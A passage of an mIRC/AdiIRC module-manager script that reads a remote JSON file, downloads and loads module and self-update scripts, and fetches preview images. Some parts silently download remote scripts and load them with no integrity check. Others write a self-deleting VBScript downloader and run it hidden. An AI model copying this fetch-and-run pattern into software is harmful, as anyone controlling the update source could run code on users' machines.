  1162.         var %f = $wmm_temp $+ $nopath($gettok(%imgs,%i,44))
  1163.         if (!$isfile(%f)) || (!$lines(%f)) { var %f = $wmm_dir $+ no_preview.png }
  1164.         if (!$isfile(%f)) || (!$lines(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x027 | dialog -k $dname | return }
  1165.         did -g %d 15 $qt(%f)
  1166.       }
  1167.       if (%i == 3) {
  1168.         var %f = $wmm_temp $+ $nopath($gettok(%imgs,%i,44))
  1169.         if (!$isfile(%f)) || (!$lines(%f)) { var %f = $wmm_dir $+ no_preview.png }
  1170.         if (!$isfile(%f)) || (!$lines(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x028 | dialog -k $dname | return }
  1171.         did -g %d 16 $qt(%f)
  1172.       }
  1173.       inc %i
  1174.     }
  1175.     return
  1176.   }
  1177.  
  1178.   var %f = $wmm_dir $+ no_preview.png
  1179.   did -h %d 28
  1180.   if (!$isfile(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x008 | wmm_d_close %d }
  1181.   else { did -g %d 14,15,16 $qt(%f) }
  1182.   return
  1183.   :error | wmm_werror $scriptline $error | reseterror
  1184. }
  1185.  
  1186. alias -l wmm_mod_install {
  1187.   var %d = wmm_module
  1188.   if (!$1) || ($isid) || (!$dialog(%d)) || ($wmm_error) { return }
  1189.   if ($3 !== S_OK) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x007 | wmm_d_close %d | return }
  1190.   var %f = $noqt($5-)
  1191.   if (!$isfile(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x018 | wmm_d_close %d | return }
  1192.   set -eu0 %wmm_signal_noclose 1
  1193.   .load -rs $qt(%f)
  1194.   if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x012 | wmm_d_close %d | return }
  1195.   did -euz %d 6
  1196.   wmm_reset_images
  1197.   wmm_modules_installed_plus_updated_list
  1198.   wmm_input ok 60 $wmm_lang(35)
  1199.   return
  1200.   :error | wmm_werror $scriptline $error | reseterror
  1201. }
  1202.  
  1203. alias -l wmm_mod_update {
  1204.   var %d = wmm_module
  1205.   if (!$1) || ($isid) || (!$dialog(%d)) || ($wmm_error) { return }
  1206.   if ($4 !== S_OK) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x011 | wmm_d_close %d | return }
  1207.   var %f = $noqt($6-)
  1208.   if (!$isfile(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x014 | wmm_d_close %d | return }
  1209.   set -eu0 %wmm_signal_noclose 1
  1210.   if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  1211.   .load -rs $+ $2 $qt(%f)
  1212.   if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x015 | wmm_d_close %d | return }
  1213.   wmm_modules_installed_plus_updated_list
  1214.   wmm_reset_images
  1215.   wmm_input ok 60 $wmm_lang(37)
  1216.   return
  1217.   :error | wmm_werror $scriptline $error | reseterror
  1218. }
  1219.  
  1220. alias -l wmm_check_update {
  1221.  
  1222.   ; -m = will flag that the update coming from WMM
  1223.   ; -n = will flag that the update coming from WMM settings.
  1224.   ; -s = will flag that the update coming from nowhere and it will executed as silent.
  1225.  
  1226.   if (!$1) || ($isid) { return }
  1227.   var %d = wmm_module
  1228.   var %d2 = wmm_module_sets
  1229.   var %v = wmm_update
  1230.  
  1231.   jsonopen -u %v $wmm_sets_url
  1232.   if ($jsonerror) { jsonclose %v | return }
  1233.  
  1234.   var %ver = $json(%v,latest_version).value
  1235.   var %chan = $json(%v,latest_version_channel).value
  1236.   var %date = $json(%v,latest_version_date).value
  1237.   var %url = $json(%v,latest_version_source_download).value
  1238.   if (!$wmm_isadi) { var %client = mIRC | var %client_ver = $json(%v,compatitable_mirc_version).value }
  1239.   else { var %client = AdiIRC | var %client_ver = $json(%v,compatitable_adiirc_version).value }
  1240.   jsonclose %v
  1241.  
  1242.   if (%url) && (%ver) && (%ver !== $wmm_ver) && (%chan == STABLE) {
  1243.     if ($1) && ($1 == -s) { set -eu300 %wmm_update 3 | goto end }
  1244.     var %ask = $input($wmm_lang(23) $iif(%chan,$v1,N/A) $wmm_lang(24) %ver ( $+ $iif(%date,$v1,N/A) $+ ) $wmm_lang(25) $+ . $crlf $crlf $+ $+ $wmm_lang(66) $crlf $crlf $+ $+ $wmm_lang(26),yuidbk90,$upper($wmm_owner) $wmm_lang(16) $wmm_bel $wmm_lang(22))
  1245.     if (!%ask) { return }
  1246.     if (!$wmm_internet) { wmm_input error 60 $wmm_lang(44) | set -eu0 %wmm_update 3 | return }
  1247.     :end
  1248.     if (%client_ver) && (%client_ver > $version) {
  1249.       if (%wmm_update !== 3) { wmm_input error 60 $wmm_lang(41) %client $wmm_lang(42) }
  1250.       url https:// $+ %client $+ .com
  1251.       set -eu0 %wmm_update 3
  1252.       return
  1253.     }
  1254.     wmm_d_close %d
  1255.     wmm_d_close %d2
  1256.     if ($wmm_check_initial_warn) || ($wmm_check_monitor_warn) { url %url }
  1257.     elseif (!$wmm_check_initial_warn) && (!$wmm_check_monitor_warn) {
  1258.       if ($1) && ($1 == -m) { set -eu300 %wmm_update 1 }
  1259.       if ($1) && ($1 == -n) { set -eu300 %wmm_update 2 }
  1260.       if ($wmm_isadi) { download -o wmm_check_update_install %url $qt($wmm_dir $+ $upper($wmm_owner) Module Manager.mrc) }
  1261.       else { wmm_download $qt(wmm_check_update_install) %url $qt($wmm_dir $+ $upper($wmm_owner) Module Manager.mrc) }
  1262.     }
  1263.   }
  1264.   return
  1265.   :error | wmm_werror $scriptline $error | reseterror
  1266. }
  1267.  
  1268. alias -l wmm_check_update_install {
  1269.   if ($2 !== S_OK) || ($isid) || ($wmm_error) { $iif(%wmm_update !== 3,wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x019) | unset %wmm_update | return }
  1270.   if ($4-) {
  1271.     var %lng = $wmm_dir $+ wmm_lang.ini
  1272.     var %ico = $wmm_dir $+ main.ico
  1273.     var %png = $wmm_dir $+ no_preview.png
  1274.     var %don = $wmm_dir $+ donate.png
  1275.     if ($isfile(%lng)) { .remove $qt(%lng) }
  1276.     if ($isfile(%ico)) { .remove $qt(%ico) }
  1277.     if ($isfile(%png)) { .remove $qt(%png) }
  1278.     if ($isfile(%don)) { .remove $qt(%don) }
  1279.     .timer -ho 1 1000 .load -rs1 $qt($4-)
  1280.     wmm_tool -c
  1281.     .unload -nrs $qt($script)
  1282.   }
  1283.   return
  1284.   :error | wmm_werror $scriptline $error | reseterror
  1285. }
  1286.  
  1287. alias -l wmm_modules_silent_update {
  1288.   if (!%wmm_autoupdate_modules) || ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) || (!$wmm_internet) || ($wmm_check_initial_warn) || ($wmm_check_monitor_warn) || ($wmm_error) { return }
  1289.   if (!$isdir($wmm_dir $+ modules)) { mkdir $qt($wmm_dir $+ modules) }
  1290.   var %v = wmm_modules_silent_update
  1291.  
  1292.   jsonopen -ud %v $wmm_sets_url
  1293.   if ($jsonerror) { return }
  1294.  
  1295.   var %t = $json(%v,modules).length
  1296.   var %x = 0
  1297.   while (%x < %t) {
  1298.     var %mod = $json(%v,modules,%x,name).value
  1299.     var %path = $wmm_getpath(%mod)
  1300.  
  1301.     if (!%mod) || (!%path) || (!$istok(%wmm_autoupdate_modules,%mod,32)) { goto next }
  1302.  
  1303.     var %ver = $json(%v,modules,%x,version).value
  1304.     var %chan = $json(%v,modules,%x,state).value
  1305.     var %url = $json(%v,modules,%x,url).value
  1306.     var %alias = $json(%v,modules,%x,alias).value
  1307.     var %tools_ver = $json(%v,modules,%x,tools_ver).value
  1308.     var %iv = $iif($isalias($right(%alias,-1)),$evalnext(%alias),0)
  1309.     var %pos = $wmm_getpos(%mod)
  1310.  
  1311.     if (%url) && (%iv) && (%ver) && (%tools_ver) && (%iv !== %ver) && ($wmm_ver >= %tools_ver) && (%chan == STABLE) {
  1312.  
  1313.       var %total = $calc(%total +1)
  1314.       var %chk_sets $right($replace(%alias,_ver,_sets),-1)
  1315.       wmm_d_close %chk_sets
  1316.       if ($wmm_isadi) { .timer[WMM_MOD_SILENT_UPDATE_ $+ %mod $+ ] -ho 1 $calc(%total * 5000) download -o wmm_mod_silent_update %url $qt(%path) }
  1317.       else { .timer[WMM_MOD_SILENT_UPDATE_ $+ %mod $+ ] -ho 1 $calc(%total * 5000) wmm_download $qt(wmm_mod_silent_update %mod %pos) %url $qt(%path) }
  1318.     }
  1319.  
  1320.     :next
  1321.     inc %x
  1322.   }
  1323.   return
  1324.   :error | wmm_werror $scriptline $error | reseterror
  1325. }
  1326.  
  1327. alias -l wmm_mod_silent_update {
  1328.   var %f = $noqt($6-)
  1329.   if (!$1) || ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) || ($4 !== S_OK) || ($wmm_error) || (!$isfile(%f)) || (!$lines(%f)) { return }
  1330.   if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  1331.   .load -rs $+ $2 $qt(%f)
  1332.   return
  1333.   :error | wmm_werror $scriptline $error | reseterror
  1334. }
  1335.  
  1336. alias -l wmm_modules_list {
  1337.   var %d = wmm_module
  1338.   var %h = WMM_MODULES
  1339.   var %hs = WMM_MODULES_SUBMENU_INSTALLED
  1340.   if (!$dialog(%d)) || ($isid) { return }
  1341.   if ($hget(%h)) { hfree $v1 }
  1342.   if ($hget(%hs)) { hfree $v1 }
  1343.   did -rb %d 6
  1344.   hmake %h 1000
  1345.   hmake %hs 1000
  1346.   var %v = wmm_modules_list_get
  1347.  
  1348.   if ($isfile($wmm_sets_file)) && ($lines($wmm_sets_file)) { jsonopen -f %v $qt($wmm_sets_file) }
  1349.   else { jsonopen -u %v $wmm_sets_url }
  1350.   if ($jsonerror) { jsonclose %v | wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x003 | wmm_d_close %d | return }
  1351.  
  1352.   var %t = $json(%v,modules).length
  1353.   var %x = 0
  1354.   while (%x < %t) {
  1355.     var %mod = $json(%v,modules,%x,name).value
  1356.     if (!%mod) { goto next }
  1357.  
  1358.     .timer[WMM_MODULES_LIST_GET_ $+ %mod $+ ] -ho 1 $calc(%x * 300) wmm_modules_list_get %v %x %t %mod
  1359.  
  1360.     :next
  1361.     inc %x
  1362.   }
  1363.   return
  1364.   :error | wmm_werror $scriptline $error | reseterror
  1365. }
  1366.  
  1367. alias -l wmm_modules_list_get {
  1368.   var %d = wmm_module
  1369.   if ($1 == $null) || ($2 == $null) || ($3 == $null) || ($4 == $null) || ($isid) || (!$dialog(%d)) { return }
  1370.  
  1371.   var %h = WMM_MODULES
  1372.   var %hs = WMM_MODULES_SUBMENU_INSTALLED
  1373.   var %v = $1
  1374.   var %x = $2
  1375.   var %t = $3
  1376.   var %mod = $4
  1377.  
  1378.   var %desc = $json(%v,modules,%x,description).value
  1379.   var %images = $json(%v,modules,%x,images).value
  1380.   var %examples = $json(%v,modules,%x,examples).value
  1381.   var %changelog = $json(%v,modules,%x,changelog).value
  1382.   var %ver = $json(%v,modules,%x,version).value
  1383.   var %date = $json(%v,modules,%x,date).value
  1384.   var %alias = $json(%v,modules,%x,alias).value
  1385.   var %chan = $json(%v,modules,%x,state).value
  1386.   var %tools_ver = $json(%v,modules,%x,tools_ver).value
  1387.   var %extra_id = $json(%v,modules,%x,extra_id).value
  1388.   var %owner = $json(%v,modules,%x,owner).value
  1389.   var %url = $json(%v,modules,%x,url).value
  1390.  
  1391.   did -a %d 6 %mod
  1392.  
  1393.   var %mod_alias_name = $upper($right($gettok(%alias,1,95),-1))
  1394.   var %key = $json(%v,modules,%x,api_key).value
  1395.   var %key2 = $json(%v,modules,%x,api_key2).value
  1396.  
  1397.   if (%mod_alias_name) && (%key) { hadd -m %mod_alias_name $+ _KEYS KEY %key }
  1398.   if (%mod_alias_name) && (%key2) { hadd -m %mod_alias_name $+ _KEYS KEY2 %key2 }
  1399.  
  1400.   var %a = $replace($right(%alias,-1),_ver,_sets)
  1401.   if (!$hget(%hs,%mod)) && (%a) { hadd %hs %mod %a }
  1402.  
  1403.   if (%alias) {
  1404.     hadd %h %mod $+ _check_version_alias %alias
  1405.     hadd %h %mod $+ _check_version $iif($isalias($right(%alias,-1)),$evalnext(%alias),0)
  1406.   }
  1407.  
  1408.   if (%ver) { hadd %h %mod $+ _version %ver }
  1409.   if (%chan) { hadd %h %mod $+ _channel %chan }
  1410.   if (%date) { hadd %h %mod $+ _crdate %date }
  1411.   if (%url) { hadd %h %mod $+ _url %url }
  1412.   if (%owner) { hadd %h %mod $+ _author %owner }
  1413.   if (%tools_ver) { hadd %h %mod $+ _tools_ver %tools_ver }
  1414.   if (%extra_id) { hadd %h %mod $+ _extra_id %extra_id }
  1415.   if (%desc) { hadd %h %mod $+ _desc %desc }
  1416.   if (%changelog) { hadd %h %mod $+ _changelog %changelog }
  1417.   if (%examples) { hadd %h %mod $+ _examples %examples }
  1418.   if (%images) {
  1419.     hadd %h %mod $+ _images %images
  1420.     if (!$wmm_isadi) { wmm_get_images %images }
  1421.   }
  1422.  
  1423.   if (%x == $calc(%t -1)) {
  1424.     var %news = $json(%v,latest_news).value
  1425.     if (%news) { var %news = $replace(%news,@newline@,$+ $+ $crlf $+ $+) | did -ra %d 26 %news }
  1426.     else { did -ra %d 26 $wmm_lang(58) }
  1427.     if ($did(%d,6).lines) {
  1428.       var %r = $wmm_lang(3) ( $+ $did(%d,6).lines $+ )
  1429.       if ($did(%d,2) !== %r) { did -ra %d 2 %r }
  1430.       did -e %d 6
  1431.     }
  1432.     else {
  1433.       var %r = $wmm_lang(3)
  1434.       if ($did(%d,2) !== %r) { did -ra %d 2 %r }
  1435.     }
  1436.     if (!$wmm_isadi) { .timer[WMM_DOWNLOAD_IMAGES] -ho 1 4000 wmm_dl_images_now }
  1437.     else { .timer[WMM_DOWNLOAD_IMAGES] -ho 1 2000 wmm_dl_images_now }
  1438.  
  1439.     jsonclose %v
  1440.     wmm_modules_installed_plus_updated_list
  1441.   }
  1442.   return
  1443.   :error | wmm_werror $scriptline $error | reseterror
  1444. }
  1445.  
  1446. alias -l wmm_modules_installed_plus_updated_list {
  1447.   var %d = wmm_module
  1448.   var %h = WMM_MODULES
  1449.   if (!$dialog(%d)) || ($isid) { return }
  1450.   var %t = $did(%d,6).lines
  1451.   did -b %d 7,8,11,12,13,60,600
  1452.   did -r %d 8,60,600,250
  1453.   did -h %d 250
  1454.   if (!%t) { return }
  1455.   var %i = 1
  1456.   while (%i <= %t) {
  1457.     var %mod = $did(%d,6,%i)
  1458.     var %path = $wmm_getpath(%mod)
  1459.     if (!%mod) || (!%path) { goto next }
  1460.  
  1461.     did -a %d 60 %mod
  1462.  
  1463.     var %mod_ver = $hget(%h,%mod $+ _check_version_alias)
  1464.     var %iv = $iif($isalias($right(%mod_ver,-1)),$evalnext(%mod_ver),0)
  1465.     var %ver = $hget(%h,%mod $+ _version)
  1466.     if (%iv) && (%ver) && (%iv !== %ver) { did -a %d 600 %mod }
  1467.  
  1468.     :next
  1469.     inc %i
  1470.   }
  1471.   if ($did(%d,60).lines) {
  1472.     var %r = $wmm_lang(2) ( $+ $did(%d,60).lines $+ )
  1473.     if ($did(%d,3) !== %r) { did -ra %d 3 %r }
  1474.     did -ez %d 60
  1475.   }
  1476.   else {
  1477.     if ($did(%d,3) !== $wmm_lang(2)) { did -ra %d 3 $wmm_lang(2) }
  1478.   }
  1479.   if ($did(%d,600).lines) {
  1480.     var %r = $wmm_lang(7) ( $+ $did(%d,600).lines $+ )
  1481.     if ($did(%d,4) !== %r) { did -ra %d 4 %r }
  1482.     did -ez %d 600
  1483.   }
  1484.   else {
  1485.     if ($did(%d,4) !== $wmm_lang(7)) { did -ra %d 4 $wmm_lang(7) }
  1486.   }
  1487.   if ($dialog(%d).tab == 3) || ($dialog(%d).tab == 4) { did -ra %d 9 $wmm_lang(59) }
  1488.   elseif ($dialog(%d).tab == 2) { did -ra %d 9 $wmm_lang(9) }
  1489.   return
  1490.   :error | wmm_werror $scriptline $error | reseterror
  1491. }
  1492.  
  1493. alias -l wmm_get_images {
  1494.   var %d = wmm_module
  1495.   if (!$1) || (!$dialog(%d)) || ($isid) { return }
  1496.   var %fw = $wmm_temp $+ wmm_images_urls.txt
  1497.   var %t = $numtok($1-,44)
  1498.   var %i = 1
  1499.   while (%i <= %t) {
  1500.     var %f = $gettok($1-,%i,44)
  1501.     var %ft = $wmm_temp $+ $gettok(%f,$numtok(%f,47),47)
  1502.     var %fd = $date($file(%ft).mtime,dd/mm/yyyy)
  1503.  
  1504.     if (!$isfile(%ft)) || (%fd !== $date) { write $qt(%fw) %f }
  1505.  
  1506.     inc %i
  1507.   }
  1508.   return
  1509.   :error | wmm_werror $scriptline $error | reseterror
  1510. }
  1511.  
  1512. alias -l wmm_dl_images_now {
  1513.   var %f = $wmm_temp $+ wmm_dl_images.vbs
  1514.   var %fx = $wmm_temp $+ wmm_images_urls.txt
  1515.   var %n = wmm_dl_images
  1516.   var %w = .fwrite -n %n
  1517.  
  1518.   if (!$wmm_internet) {
  1519.     if (!$wmm_isadi) {
  1520.       if ($fopen(%n)) { .fclose %n }
  1521.       if ($isfile(%fx)) { .remove $qt(%fx) }
  1522.       if ($isfile(%f)) { .remove $qt(%f) }
  1523.     }
  1524.     return
  1525.   }
  1526.  
  1527.   if ($wmm_isadi) {
  1528.     var %zip = $wmm_temp $+ wmm_modules_images.zip
  1529.     var %fd = $date($file(%zip).mtime,dd/mm/yyyy)
  1530.     if (%fd !== $date) { download -o %n $wmm_modules_images_url $qt(%zip) }
  1531.   }
  1532.   elseif (!$wmm_isadi) {
  1533.     if ($isfile(%fx)) && ($lines(%fx)) {
  1534.  
  1535.       .fopen -ox %n $qt(%f)
  1536.  
  1537.       %w Function ReplaceRegEx(origString,replaceString,replaceWith)
  1538.       %w Set TempRegEx=New RegExp
  1539.       %w TempRegEx.Pattern=replaceString
  1540.       %w TempRegEx.IgnoreCase=True
  1541.       %w ReplaceRegEx = TempRegEx.Replace(origString,replaceWith)
  1542.       %w End Function
  1543.       %w Set objFSO = CreateObject("Scripting.FileSystemObject")
  1544.       %w Set objDictionary = CreateObject("Scripting.Dictionary")
  1545.       %w currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
  1546.       %w UserInput = $qt($nopath(%fx))
  1547.       %w strHDLocationLinks = currentDirectory&""&UserInput
  1548.       %w If UserInput = "" Then
  1549.       %w Else
  1550.       %w If objFSO.FileExists(currentDirectory & UserInput) Then
  1551.       %w    ForReading = UserInput
  1552.       %w    Set objFile = objFSO.OpenTextFile(currentDirectory & UserInput,1)
  1553.       %w    i = 0
  1554.       %w        Do Until objFile.AtEndOfStream
  1555.       %w                strNextLine = objFile.Readline
  1556.       %w                If strNextLine <> "" Then
  1557.       %w                    objDictionary.Add i, strNextLine
  1558.       %w                End If
  1559.       %w                i = i + 1
  1560.       %w          Loop
  1561.       %w          objFile.Close
  1562.       %w          currentDirectory=Mid(currentDirectory,1,Len(currentDirectory)-1)
  1563.       %w          For Each strLine in objDictionary.Items
  1564.       %w                Set objFSO = CreateObject("Scripting.FileSystemObject")
  1565.       %w                linkNameSplit=Split(strLine,"/")
  1566.       %w                linkNameNumber=UBound(linkNameSplit)
  1567.       %w                linkNameTemp=""
  1568.       %w                For i = 3 To linkNameNumber-1
  1569.       %w                      linkNameTemp=linkNameTemp&"\"&linkNameSplit(i)
  1570.       %w                Next
  1571.       %w                strFileURL = strLine
  1572.       %w                strHDLocation = currentDirectory&"\"&linkNameSplit(linkNameNumber)
  1573.       %w                Set objXMLHTTP = CreateObject("MSXML2.SERVERXMLHTTP.6.0")
  1574.       %w                objXMLHTTP.open "GET", strFileURL, false
  1575.       %w                objXMLHTTP.send()
  1576.       %w                If objXMLHTTP.Status = 200 Then
  1577.       %w                      Set objADOStream = CreateObject("ADODB.Stream")
  1578.       %w                      objADOStream.Open
  1579.       %w                      objADOStream.Type = 1
  1580.       %w                      objADOStream.Write objXMLHTTP.ResponseBody
  1581.       %w                      objADOStream.Position = 0
  1582.       %w                      Set objFSO = Createobject("Scripting.FileSystemObject")
  1583.       %w                      If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
  1584.       %w                      Set objFSO = Nothing
  1585.       %w                      objADOStream.SaveToFile strHDLocation
  1586.       %w                      objADOStream.Close
  1587.       %w                      Set objADOStream = Nothing
  1588.       %w                  End if
  1589.       %w                Set objXMLHTTP = Nothing
  1590.       %w          Next
  1591.       %w          Set objFSO = Createobject("Scripting.FileSystemObject")
  1592.       %w          If objFSO.Fileexists(strHDLocationLinks) Then objFSO.DeleteFile strHDLocationLinks
  1593.       %w          If objFSO.Fileexists(WScript.ScriptFullName) Then objFSO.DeleteFile WScript.ScriptFullName
  1594.       %w    Else
  1595.       %w    End if
  1596.       %w End if
  1597.  
  1598.       .fclose %n
  1599.  
  1600.       if ($isfile(%f)) && ($lines(%f) == 60) { run -h $qt(%f) }
  1601.     }
  1602.   }
  1603.   return
  1604.   :error | wmm_werror $scriptline $error | reseterror
  1605. }
  1606.  
  1607. alias -l wmm_tool {
  1608.  
  1609.   ; -s = start toolbar
  1610.   ; -c = close toolbar
  1611.   ; -e = check the toolbar
  1612.   ; -b = uncheck the toolbar
  1613.   ; -t = update tooltip via correct language
  1614.  
  1615.   if (!$1) || ($left($1,1) !== -) || ($wmm_error) || ($isid) || (s !isincs $1) && (c !isincs $1) && (t !isincs $1) && (e !isincs $1) && (b !isincs $1) { return }
  1616.   if (!%wmm_tool) && ($toolbar(wmm)) { wmm_t_close wmm | wmm_t_close wmm1 | return }
  1617.   if (s isincs $1) && (%wmm_tool) {
  1618.     var %d = wmm_module
  1619.     var %ico = $wmm_dir $+ main.ico
  1620.     if (!$isfile(%ico)) { wmm_dl $wmm_main_ico_url $qt(%ico) | return }
  1621.     wmm_t_close wmm
  1622.     wmm_t_close wmm1
  1623.     toolbar -as wmm1
  1624.     toolbar -ak $+ $iif($dialog(%d),1,0) wmm $qt($upper($wmm_owner) $wmm_lang(16) - ( $+ $wmm_lang(74) $+ )) $qt(%ico) $qt(/wmm_check_open) @wmm
  1625.   }
  1626.   if (c isincs $1) { wmm_t_close wmm | wmm_t_close wmm1 }
  1627.   if (t isincs $1) && ($toolbar(wmm)) && (%wmm_tool) { toolbar -t wmm $qt($upper($wmm_owner) $wmm_lang(16) - ( $+ $wmm_lang(74) $+ )) }
  1628.   if (e isincs $1) && ($toolbar(wmm)) && (%wmm_tool) { toolbar -k1 wmm }
  1629.   if (b isincs $1) && ($toolbar(wmm)) && (%wmm_tool) { toolbar -k0 wmm }
  1630.   return
  1631.   :error | wmm_werror $scriptline $error | reseterror
  1632. }
  1633.  
  1634. alias -l wmm_check_open {
  1635.   if ($isid) || ($wmm_error) { return }
  1636.   if ($dialog(wmm_module)) { wmm | return }
  1637.   if ($dialog(wmm_module_sets)) { wmm_sets | return }
  1638.   wmm
  1639.   return
  1640.   :error | wmm_werror $scriptline $error | reseterror
  1641. }
  1642.  
  1643. alias -l wmm_modules_settings_list {
  1644.   var %hs = WMM_MODULES_SUBMENU_INSTALLED
  1645.   var %d = wmm_module_sets
  1646.   if (!$dialog(%d)) || ($isid) { return }
  1647.   if ($hget(%hs)) { hfree %hs }
  1648.  
  1649.   if (%wmm_autoupdate_modules) {
  1650.     var %i = 1
  1651.     while (%i <= $numtok(%wmm_autoupdate_modules,32)) {
  1652.       var %m = $gettok(%wmm_autoupdate_modules,%i,32)
  1653.  
  1654.       if (!%m) { goto next2 }
  1655.       if (!$wmm_getpath(%m)) { set %wmm_autoupdate_modules $remtok(%wmm_autoupdate_modules,%m,1,32) | goto next2 }
  1656.  
  1657.       did -a %d 5 %m
  1658.  
  1659.       :next2
  1660.       inc %i
  1661.     }
  1662.   }
  1663.   else { did -b %d 5,6 }
  1664.  
  1665.   hmake %hs 1000
  1666.   did -r %d 3
  1667.   did -b %d 3,4
  1668.   var %v = wmm_modules_sets
  1669.  
  1670.   if ($isfile($wmm_sets_file)) && ($lines($wmm_sets_file)) { jsonopen -fd %v $qt($wmm_sets_file) }
  1671.   else { jsonopen -ud %v $wmm_sets_url }
  1672.   if ($jsonerror) { return }
  1673.  
  1674.   var %t = $json(%v,modules).length
  1675.   if (!%t) { return }
  1676.   var %x = 0
  1677.   while (%x < %t) {
  1678.     var %mod = $json(%v,modules,%x,name).value
  1679.     var %alias = $json(%v,modules,%x,alias).value
  1680.  
  1681.     var %mod_alias_name = $upper($right($gettok(%alias,1,95),-1))
  1682.     var %key = $json(%v,modules,%x,api_key).value
  1683.     var %key2 = $json(%v,modules,%x,api_key2).value
  1684.  
  1685.     if (%mod_alias_name) && (%key) { hadd -m %mod_alias_name $+ _KEYS KEY %key }
  1686.     if (%mod_alias_name) && (%key2) { hadd -m %mod_alias_name $+ _KEYS KEY2 %key2 }
  1687.  
  1688.     var %a = $replace($right(%alias,-1),_ver,_sets)
  1689.     if (%mod) && (%a) && (!$hget(%hs,%mod)) { hadd %hs %mod %a }
  1690.  
  1691.     if (!%mod) || (!$wmm_getpath(%mod)) || ($didwm(%d,5,%mod)) { goto next }
  1692.  
  1693.     did -a %d 3 %mod
  1694.  
  1695.     :next
  1696.     inc %x
  1697.   }
  1698.   if ($did(%d,3).lines) { did -ra %d 7 $wmm_lang(67) ( $+ $did(%d,3).lines $+ ) | did -e %d 3 }
  1699.   else { did -b %d 3,4 }
  1700.   if ($did(%d,5).lines) { did -ra %d 8 $wmm_lang(68) ( $+ $did(%d,5).lines $+ ) | did -e %d 5 }
  1701.   else { did -b %d 6 }
  1702.   return
  1703.   :error | wmm_werror $scriptline $error | reseterror
  1704. }
  1705.  
  1706. alias -l wmm_modules_menu_get_installed {
  1707.  
  1708.   ; -g = will try to get and save only the MENUS and KEYS in hash.
  1709.  
  1710.   if ($wmm_error) { return }
  1711.   if ($1) && ($1 == -g) { goto start }
  1712.   if ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) || ($wmm_check_initial_warn) || ($wmm_check_monitor_warn) { return }
  1713.   if (!$isdir($wmm_dir $+ modules)) { mkdir $qt($wmm_dir $+ modules) }
  1714.   :start
  1715.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  1716.   var %v = wmm_modules_menu_get_installed
  1717.   if ($hget(%h)) { hfree $v1 }
  1718.   hmake %h 1000
  1719.  
  1720.   if ($isfile($wmm_sets_file)) && ($lines($wmm_sets_file)) { jsonopen -fd %v $qt($wmm_sets_file) }
  1721.   else { jsonopen -ud %v $wmm_sets_url }
  1722.   if ($jsonerror) { return }
  1723.  
  1724.   var %t = $json(%v,modules).length
  1725.   var %x = 0
  1726.   while (%x < %t) {
  1727.     var %mod = $json(%v,modules,%x,name).value
  1728.     var %alias = $json(%v,modules,%x,alias).value
  1729.     var %a = $right($replace(%alias,_ver,_sets),-1)
  1730.  
  1731.     var %mod_alias_name = $upper($right($gettok(%alias,1,95),-1))
  1732.     var %key = $json(%v,modules,%x,api_key).value
  1733.     var %key2 = $json(%v,modules,%x,api_key2).value
  1734.  
  1735.     if (%mod_alias_name) && (%key) { hadd -m %mod_alias_name $+ _KEYS KEY %key }
  1736.     if (%mod_alias_name) && (%key2) { hadd -m %mod_alias_name $+ _KEYS KEY2 %key2 }
  1737.  
  1738.     if (%a) && (%mod) && (!$hget(%h,%mod)) { hadd %h %mod %a }
  1739.  
  1740.     inc %x
  1741.   }
  1742.   return
  1743.   :error | wmm_werror $scriptline $error | reseterror
  1744. }
  1745.  
  1746. alias -l wmm_modules_all_installed_list {
  1747.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  1748.   var %t = $hget(%h,0).item
  1749.   if (!$1) || (!$isid) || (!$hget(%h)) || ($1 > %t) || (!$isalias(wmm_lang)) || (!$isalias(wmm_qd)) || (!$isalias(wmm_isadi)) { returnex }
  1750.   if ($istok(begin.end,$1,46)) { return - }
  1751.   var %n = $hget(%h,$1).item
  1752.   var %d = $hget(%h,%n)
  1753.   var %ico = $replace(%d,_sets,_main) $+ .ico
  1754.   var %fm = $wmm_dir $+ modules $+ \ $+ %ico
  1755.   if (%n) && (%d) && (!$isalias(%d)) { return $iif($wmm_isadi && $isfile(%fm),$menuicon(%fm)) $style(2) $wmm_qd(%n $wmm_lang(76)) $+ :noop }
  1756.   else { return $iif($wmm_isadi && $isfile(%fm),$menuicon(%fm)) $iif($dialog(%d),$style(1)) $wmm_qd(%n $wmm_lang(76)) $+ : $+ %d }
  1757.   return
  1758.   :error | wmm_werror $scriptline $error | reseterror
  1759. }
  1760.  
  1761. alias -l wmm_resize_image {
  1762.   if (!$1) || (!$isfile($1)) || (!$isid) { return }
  1763.   var %a = $pic($1).width
  1764.   var %b = $pic($1).height
  1765.   var %c = $window(-1).w
  1766.   var %d = $window(-1).h
  1767.   if (%a > %c) { var %b = $calc(( %c / %a ) * %b),%a %c }
  1768.   if (%b > %d) { var %a = $calc(( %d / %b ) * %a),%b %d }
  1769.   return $int(%a) $int(%b)
  1770.   return
  1771.   :error | wmm_werror $scriptline $error | reseterror
  1772. }
  1773.  
  1774. alias -l wmm_pic {
  1775.   if ($wmm_error) { return }
  1776.   var %d = wmm_module
  1777.   var %w = $pic($1).width
